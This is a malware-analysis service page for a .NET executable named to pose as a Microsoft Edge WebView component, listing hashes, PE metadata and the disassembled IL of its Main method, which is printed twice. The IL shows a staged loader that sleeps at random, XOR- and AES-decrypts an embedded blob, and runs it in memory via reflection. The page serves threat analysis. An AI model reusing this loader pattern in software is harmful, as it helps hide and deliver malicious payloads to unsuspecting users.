Suspicious
Suspect

150cd29ec3f3156808da6121512c6bfc

PE Executable
MD5: 150cd29ec3f3156808da6121512c6bfc
Size: 1.17 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Size
1.17 MB · 1,174,528 B
Hashes
MD5 150cd29ec3f3156808da6121512c6bfc Sha1 06d5768088624218d0e571a136fcd3c01fd945b4 Sha256 3b898adef43e54e9682f1358401ba2300ec3f39de75e2939d23e2bd60a725de6 Sha384 f9af0de537f88644f0e727ccc0cc9f3b410b452c46c5373183c6a731bc475246a9bcc1fd46a4e704ca385e74a81cecaf Sha512 a7e7d6063d2ca59cfc67d63e886b14f51136338af64e4edf7747d7e4d69df9d99e1a0800532c886d282dac01f6a4ca166945c3715b32f486d048534584bb9cab SSDeep 12288:V1GeJQD1AYaqT1SDrNxUIy7UE2N9lrqJJyxvcG8uFqrT8BoGWTr/ZPgVw6fHQx9j:V1G9TSHJ4wqg5wQa3CKH3i TLSH C045D8243DFB502DB073FEA65FD8B5EAD96FF632260A646A1041034B4713D81DE9293E
Detection
PeID
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Symbol obfuscation
Very low
3 files
EXE150cd29ec3f3156808da6121512c6bfc
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
msedgewebview_798ac5ed.exe
Full Name
msedgewebview_798ac5ed.exe
EntryPoint
System.Void Microsoft.Edge.WebView.Program::Main()
Scope Name
msedgewebview_798ac5ed.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
msedgewebview_798ac5ed
Assembly Version
118.0.2088.76
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
2
Main Method
System.Void Microsoft.Edge.WebView.Program::Main()
Main IL Instruction Count
177
Main IL 
newobj System.Void System.Random::.ctor()
ldc.i4 2000
ldc.i4 5000
callvirt System.Int32 System.Random::Next(System.Int32,System.Int32)
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Microsoft.Edge.WebView.Program::_k
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.0 <null>
ldsfld System.String Microsoft.Edge.WebView.Program::_d
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_0045: ldloc.2
ldloc.1 <null>
ldloc.2 <null>
ldloc.1 <null>
ldloc.2 <null>
ldelem.u1 <null>
ldloc.0 <null>
ldloc.2 <null>
ldc.i4.s 16
rem <null>
ldelem.u1 <null>
xor <null>
conv.u1 <null>
stelem.i1 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
blt.s IL_0033: ldloc.1
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.1 <null>
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.3 <null>
ldnull <null>
stloc.1 <null>
ldnull <null>
stsfld System.String Microsoft.Edge.WebView.Program::_d
ldloc.3 <null>
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.s V_4
ldnull <null>
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldc.i4.s 32
newarr System.Byte
stloc.s V_6
ldloc.s V_4
ldc.i4.s 16
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldlen <null>
conv.i4 <null>
ldc.i4.s 48
sub <null>
newarr System.Byte
stloc.s V_7
ldloc.s V_4
ldc.i4.s 48
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_4
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_4
call System.Security.Cryptography.Aes System.Security.Cryptography.Aes::Create()
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_8
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_8
ldloc.s V_6
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_8
ldloc.s V_5
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_8
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_8
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::Dispose()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_9
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
ldloc.s V_9
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_9
ldc.i4.2 <null>
ldc.i4.1 <null>
call System.Void System.GC::Collect(System.Int32,System.GCCollectionMode)
ldloc.s V_10
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_11
ldloc.s V_11
ldnull <null>
call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo)
brfalse.s IL_018E: ldc.i4 60000
ldloc.s V_11
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
brtrue.s IL_0171: ldloc.s V_11
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
br.s IL_018E: ldc.i4 60000
ldloc.s V_11
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.0 <null>
newarr System.String
stelem.ref <null>
ldloc.s V_12
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 60000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_018E: ldc.i4 60000
Module Name
msedgewebview_798ac5ed.exe
Full Name
msedgewebview_798ac5ed.exe
EntryPoint
System.Void Microsoft.Edge.WebView.Program::Main()
Scope Name
msedgewebview_798ac5ed.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
msedgewebview_798ac5ed
Assembly Version
118.0.2088.76
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
2
Main Method
System.Void Microsoft.Edge.WebView.Program::Main()
Main IL Instruction Count
177
Main IL 
newobj System.Void System.Random::.ctor()
ldc.i4 2000
ldc.i4 5000
callvirt System.Int32 System.Random::Next(System.Int32,System.Int32)
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Microsoft.Edge.WebView.Program::_k
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.0 <null>
ldsfld System.String Microsoft.Edge.WebView.Program::_d
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_0045: ldloc.2
ldloc.1 <null>
ldloc.2 <null>
ldloc.1 <null>
ldloc.2 <null>
ldelem.u1 <null>
ldloc.0 <null>
ldloc.2 <null>
ldc.i4.s 16
rem <null>
ldelem.u1 <null>
xor <null>
conv.u1 <null>
stelem.i1 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
blt.s IL_0033: ldloc.1
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.1 <null>
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.3 <null>
ldnull <null>
stloc.1 <null>
ldnull <null>
stsfld System.String Microsoft.Edge.WebView.Program::_d
ldloc.3 <null>
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.s V_4
ldnull <null>
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldc.i4.s 32
newarr System.Byte
stloc.s V_6
ldloc.s V_4
ldc.i4.s 16
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldlen <null>
conv.i4 <null>
ldc.i4.s 48
sub <null>
newarr System.Byte
stloc.s V_7
ldloc.s V_4
ldc.i4.s 48
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_4
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_4
call System.Security.Cryptography.Aes System.Security.Cryptography.Aes::Create()
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_8
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_8
ldloc.s V_6
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_8
ldloc.s V_5
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_8
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_8
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::Dispose()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_9
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
ldloc.s V_9
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_9
ldc.i4.2 <null>
ldc.i4.1 <null>
call System.Void System.GC::Collect(System.Int32,System.GCCollectionMode)
ldloc.s V_10
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_11
ldloc.s V_11
ldnull <null>
call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo)
brfalse.s IL_018E: ldc.i4 60000
ldloc.s V_11
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
brtrue.s IL_0171: ldloc.s V_11
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
br.s IL_018E: ldc.i4 60000
ldloc.s V_11
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.0 <null>
newarr System.String
stelem.ref <null>
ldloc.s V_12
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 60000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_018E: ldc.i4 60000
3 files
EXE150cd29ec3f3156808da6121512c6bfc
Structure
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙